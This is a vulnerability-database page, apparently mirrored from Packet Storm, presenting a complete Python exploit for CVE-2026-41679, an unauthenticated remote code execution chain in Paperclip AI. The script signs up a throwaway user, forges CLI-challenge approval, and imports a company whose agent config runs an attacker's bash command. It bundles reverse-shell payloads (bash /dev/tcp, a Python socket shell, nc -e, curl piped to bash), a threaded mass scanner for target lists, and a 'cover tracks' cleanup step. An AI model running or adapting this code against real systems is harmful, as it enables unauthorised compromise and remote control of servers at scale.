๐ Paperclip AI Unauthenticated Remote Code Execution
๐๏ธย 07 Jul 2026ย 00:00:00Reported byย indoushkaTypeย
ย packetstorm๐ย packetstorm.news๐ย 72ย Views
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| CVE-2026-41679 | 23 Apr 202600:53 | โ | attackerkb | |
| CVE-2026-41679 | 10 Apr 202616:50 | โ | circl | |
| Paperclip ๆๆ้ฎ้ขๆผๆด | 23 Apr 202600:00 | โ | cnnvd | |
| CVE-2026-41679 | 23 Apr 202600:53 | โ | cve | |
| CVE-2026-41679 Paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass | 23 Apr 202600:53 | โ | cvelist | |
| Exploit for CVE-2026-41679 | 24 Apr 202608:27 | โ | githubexploit | |
| EUVD-2026-25166 | 23 Apr 202600:53 | โ | euvd | |
| paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass | 10 Apr 202621:08 | โ | github | |
| Paperclip AI RCE using a chain of six API calls (CVE-2026-41679). | 10 Apr 202600:00 | โ | metasploit | |
| CVE-2026-41679 | 23 Apr 202602:16 | โ | nvd |
10
==================================================================================================================================
| # Title : Paperclip AI Unauthenticated Remote Code Execution API Chain Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://paperclip.ing/ |
==================================================================================================================================
[+] Summary : This Python script describes an automated exploit for a presumed unauthenticated Remote Code Execution (RCE) vulnerability in Paperclip AI.
The attack leverages a chain of six API requests to achieve code execution on a target system without valid authentication.
[+] POC :
#!/usr/bin/env python3
import argparse
import json
import random
import string
import time
import requests
import sys
import base64
import urllib3
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class PaperclipRCE:
def __init__(self, target_url, verify_ssl=False, timeout=30, verbose=False):
self.base_url = target_url.rstrip('/')
self.verify_ssl = verify_ssl
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.board_api_token = None
self.company_id = None
self.origin = self.base_url
def log(self, msg, level="INFO"):
colors = {
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"INFO": "\033[96m[*]\033[0m",
"PROC": "\033[94m[@]\033[0m"
}
print(f"{colors.get(level, '[*]')} {msg}")
def get_paperclip_version(self):
"""Get Paperclip version from health endpoint"""
try:
resp = self.session.get(
urljoin(self.base_url, '/api/health'),
timeout=self.timeout
)
if resp.status_code == 200:
data = resp.json()
if 'version' in data:
version = data['version']
self.log(f"Paperclip version: {version}")
return version
else:
self.log("Paperclip instance detected (version unknown)", "SUCCESS")
return "unknown"
except:
pass
return None
def generate_random_email(self):
"""Generate random email for registration"""
name = ''.join(random.choices(string.ascii_lowercase, k=8))
domain = ''.join(random.choices(string.ascii_lowercase, k=6))
return f"{name}@{domain}.com", name
def step1_signup(self):
"""Step 1: Sign up and register a new user"""
self.log("Step 1: Registering new user...")
email, name = self.generate_random_email()
password = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
post_data = {
"email": email,
"password": password,
"name": name
}
resp = self.session.post(
urljoin(self.base_url, '/api/auth/sign-up/email'),
json=post_data,
timeout=self.timeout
)
if resp.status_code == 200 and 'createdAt' in resp.text:
self.log(f"User registered: {email} / {password}", "SUCCESS")
self.email = email
self.password = password
return True
else:
self.log(f"Signup failed: HTTP {resp.status_code}", "ERROR")
return False
def step2_signin(self):
"""Step 2: Sign in and get session cookie"""
self.log("Step 2: Signing in...")
post_data = {
"email": self.email,
"password": self.password
}
resp = self.session.post(
urljoin(self.base_url, '/api/auth/sign-in/email'),
json=post_data,
timeout=self.timeout
)
if resp.status_code == 200 and 'token' in resp.text:
self.session.cookies.update(resp.cookies)
self.log("Authentication successful", "SUCCESS")
return True
else:
self.log(f"Signin failed: HTTP {resp.status_code}", "ERROR")
return False
def step3_create_cli_challenge(self):
"""Step 3: Create CLI challenge and get API token"""
self.log("Step 3: Creating CLI challenge...")
command = ''.join(random.choices(string.ascii_lowercase, k=8))
post_data = {"command": command}
resp = self.session.post(
urljoin(self.base_url, '/api/cli-auth/challenges'),
json=post_data,
timeout=self.timeout
)
if resp.status_code == 201:
data = resp.json()
if 'boardApiToken' in data:
self.board_api_token = data['boardApiToken']
self.challenge_id = data['id']
self.challenge_token = data['token']
self.log(f"Board API token obtained", "SUCCESS")
return True
else:
self.log(f"CLI challenge failed: HTTP {resp.status_code}", "ERROR")
return False
def step4_approve_challenge(self):
"""Step 4: Approve the challenge in your session"""
self.log("Step 4: Approving challenge...")
post_data = {"token": self.challenge_token}
headers = {"Origin": self.origin}
resp = self.session.post(
urljoin(self.base_url, f'/api/cli-auth/challenges/{self.challenge_id}/approve'),
json=post_data,
headers=headers,
timeout=self.timeout
)
if resp.status_code == 200 and 'error' not in resp.text.lower():
self.log("Challenge approved", "SUCCESS")
return True
else:
self.log(f"Challenge approval failed: HTTP {resp.status_code}", "ERROR")
return False
def step5_deploy_agent(self, command):
"""Step 5: Create company and deploy agent with payload"""
self.log("Step 5: Deploying agent with payload...")
if ' ' in command:
cmd_parts = command.split(' ')
cmd_formatted = f"bash -c \\\"{command}\\\""
else:
cmd_formatted = command
post_data = {
"source": {
"type": "inline",
"files": {
"COMPANY.md": "---\nname: MI6\nslug: MI6\n---\nx",
"agents/007/AGENTS.md": "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx",
".paperclip.yaml": f"""agents:
007:
icon: terminal
adapter:
type: process
config:
command: bash
args:
- -c
- {cmd_formatted}"""
}
},
"target": {"mode": "new_company", "newCompanyName": "MI6"},
"include": {"company": True, "agents": True},
"agents": "all"
}
headers = {
"Authorization": f"Bearer {self.board_api_token}",
"Origin": self.origin
}
resp = self.session.post(
urljoin(self.base_url, '/api/companies/import'),
json=post_data,
headers=headers,
timeout=self.timeout
)
if resp.status_code == 200:
data = resp.json()
self.company_id = data.get('company', {}).get('id')
agent_id = data.get('agents', [{}])[0].get('id')
self.log(f"Company created: {self.company_id}, Agent ID: {agent_id}", "SUCCESS")
return agent_id
else:
self.log(f"Agent deployment failed: HTTP {resp.status_code}", "ERROR")
if self.verbose and resp.text:
self.log(f"Response: {resp.text[:200]}")
return None
def step6_trigger_payload(self, agent_id):
"""Step 6: Run the agent and trigger the payload"""
self.log("Step 6: Triggering payload execution...")
headers = {
"Authorization": f"Bearer {self.board_api_token}",
"Origin": self.origin
}
resp = self.session.post(
urljoin(self.base_url, f'/api/agents/{agent_id}/wakeup'),
headers=headers,
timeout=self.timeout
)
if resp.status_code == 202:
self.log("Payload triggered successfully!", "SUCCESS")
return True
else:
self.log(f"Payload trigger failed: HTTP {resp.status_code}", "ERROR")
return False
def cleanup(self):
"""Clean up the company and agent to cover tracks"""
if self.company_id and self.board_api_token:
self.log("Cleaning up company and agent...", "PROC")
headers = {
"Authorization": f"Bearer {self.board_api_token}",
"Origin": self.origin
}
resp = self.session.post(
urljoin(self.base_url, f'/api/companies/{self.company_id}/archive'),
headers=headers,
timeout=self.timeout
)
if resp.status_code == 200:
self.log("Company archived successfully", "SUCCESS")
else:
self.log("Could not archive company", "WARNING")
def execute_command(self, command):
"""Execute a single command via the exploit chain"""
self.log(f"Executing command: {command}")
if not self.step1_signup():
return False
if not self.step2_signin():
return False
if not self.step3_create_cli_challenge():
return False
if not self.step4_approve_challenge():
return False
agent_id = self.step5_deploy_agent(command)
if not agent_id:
return False
if self.step6_trigger_payload(agent_id):
self.log("Command executed successfully!", "SUCCESS")
return True
return False
def reverse_shell(self, lhost, lport):
"""Deploy reverse shell payload"""
rev_shells = [
f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
f"nc -e /bin/sh {lhost} {lport}",
f"curl http://{lhost}:{lport}/shell.sh | bash"
]
for shell_cmd in rev_shells:
self.log(f"Trying reverse shell: {shell_cmd[:50]}...")
if self.execute_command(shell_cmd):
self.log("Reverse shell payload sent!", "SUCCESS")
return True
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking target vulnerability...")
version = self.get_paperclip_version()
if version is None:
self.log("Could not detect Paperclip instance", "ERROR")
return False
if version != "unknown":
try:
parts = version.split('.')
if len(parts) >= 3:
major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
if major > 2026 or (major == 2026 and minor > 4) or (major == 2026 and minor == 4 and patch >= 10):
self.log(f"Version {version} appears patched", "WARNING")
return False
except:
pass
self.log("Target appears vulnerable", "SUCCESS")
return True
def run(self, command=None, lhost=None, lport=None, shell=False, cleanup=False):
"""Main exploit routine"""
self.log(f"Target: {self.base_url}")
if not self.check_vulnerability():
if not command:
return False
if command:
success = self.execute_command(command)
elif lhost and lport:
success = self.reverse_shell(lhost, lport)
elif shell:
success = self.execute_command("echo 'Paperclip RCE successful' > /tmp/paperclip_pwned.txt")
else:
success = self.execute_command("id")
if cleanup and success:
self.cleanup()
return success
class MassScanner:
def __init__(self, threads=10, timeout=30, verbose=False):
self.threads = threads
self.timeout = timeout
self.verbose = verbose
self.results = []
def scan_target(self, url):
"""Scan a single target"""
try:
exploit = PaperclipRCE(url, timeout=self.timeout, verbose=self.verbose)
if exploit.check_vulnerability():
return url
except:
pass
return None
def scan_from_file(self, file_path):
"""Scan targets from file"""
with open(file_path, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] Scanning {len(targets)} targets with {self.threads} threads...")
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(self.scan_target, target): target for target in targets}
for future in as_completed(futures):
result = future.result()
if result:
self.results.append(result)
print(f"\033[92m[VULNERABLE]\033[0m {result}")
return self.results
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-41679 - Paperclip AI Unauthenticated RCE"
)
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("-t", "--target", help="Target Paperclip URL")
target_group.add_argument("-l", "--list", help="File containing list of targets")
parser.add_argument("-c", "--cmd", help="Command to execute")
parser.add_argument("--reverse-shell", action="store_true", help="Deploy reverse shell")
parser.add_argument("--lhost", help="Listener host for reverse shell")
parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
parser.add_argument("--shell", action="store_true", help="Test shell (creates test file)")
parser.add_argument("--cleanup", action="store_true", help="Clean up company and agent after exploitation")
parser.add_argument("--threads", type=int, default=10, help="Threads for mass scanning (default: 10)")
parser.add_argument("--timeout", type=int, default=30, help="Request timeout (default: 30)")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
parser.add_argument("--insecure", action="store_true", help="Disable SSL verification")
args = parser.parse_args()
print("""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-41679 - Paperclip AI Unauthenticated RCE โ
โ Remote Code Execution via Chain of 6 API Calls โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""")
if args.list:
scanner = MassScanner(
threads=args.threads,
timeout=args.timeout,
verbose=args.verbose
)
results = scanner.scan_from_file(args.list)
print(f"\n[*] Found {len(results)} vulnerable targets:")
for url in results:
print(f" - {url}")
if results:
with open("vulnerable_targets.txt", 'w') as f:
for url in results:
f.write(f"{url}\n")
print(f"[*] Results saved to vulnerable_targets.txt")
sys.exit(0)
elif args.target:
exploit = PaperclipRCE(
target_url=args.target,
verify_ssl=not args.insecure,
timeout=args.timeout,
verbose=args.verbose
)
if args.reverse_shell:
if not args.lhost or not args.lport:
print("[-] --reverse-shell requires --lhost and --lport")
sys.exit(1)
success = exploit.run(lhost=args.lhost, lport=args.lport, cleanup=args.cleanup)
elif args.cmd:
success = exploit.run(command=args.cmd, cleanup=args.cleanup)
elif args.shell:
success = exploit.run(shell=True, cleanup=args.cleanup)
else:
success = exploit.run(cleanup=args.cleanup)
sys.exit(0 if success else 1)
else:
parser.print_help()
sys.exit(1)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.110
EPSS0.02951
SSVC